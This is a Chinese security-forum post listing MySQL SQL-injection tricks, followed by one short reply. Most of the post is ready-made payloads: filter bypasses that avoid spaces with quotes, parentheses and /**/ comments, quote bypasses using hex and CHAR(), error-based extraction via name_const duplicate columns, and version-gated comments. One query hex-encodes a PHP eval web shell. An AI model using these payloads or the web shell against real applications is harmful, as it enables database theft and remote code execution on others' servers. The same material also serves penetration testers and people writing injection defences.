首页
社区
课程
招聘
[原创]mysql注入的一些小技巧
发表于: 2017-6-2 09:18 3946

[原创]mysql注入的一些小技巧

2017-6-2 09:18
3946

总结一些小技巧,欢迎指正

版本5.5.53

测试表结构

 

测试数据

 

1.过滤空格的

技巧:字符串加上引号不需要空格,数字加上括号不需要空格,/**/也能代替空格

Php:SELECT * FROM `test` WHERE `name`='$name' and `age`=18

Mysql:SELECT * FROM `test` WHERE `name`='1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'' and `age`=22

参数:$name=1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'

 

PS:不能控制整个整数的时候

技巧:用运算符连接+-*/

Php:SELECT * FROM `test` WHERE `age`=1$age and `name`!='wangwu'

Mysql:SELECT * FROM `test` WHERE `age`=1+(1)or(1) and `name`!='wangwu'

参数:$age=+(1)or(1)

2.过滤引号的

技巧:用十六进制代替字符串(select的内容 参数内容都可以使用)

:select ' <?php @eval($_POST[value]);?>' from `test` where `name`='wangwu'

Hex:select 0x3c3f70687020406576616c28245f504f53545b76616c75655d293b3f3e from `test` where `name`=0x77616e677775

 

技巧:用CHAR函数代替字符串

原:select * from test where `name`=wangwu

CHARselect * from test where `name`=CHAR(0x77,0x61,0x6e,0x67,0x77,0x75)

3.报错注入

技巧:利用重复列报错显示重复列列名以及name_const来构造

 

a.select name_const(version(),0)

 

b.select*from (select name_const(version(),0))a , (select name_const(version(),0))b

 

 

 

c.select * from (select*from (select name_const(version(),0))a , (select name_const(version(),0))b  )c

4.特殊注释

技巧:/!*50553*/ 表示版本是5.05.53及更高就执行

Mysql:/*!50553select*/ * from test;



[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 171
活跃值: (509)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
打破0回复,顶一个。
2017-6-6 23:52
0
游客
登录 | 注册 方可回帖
返回
//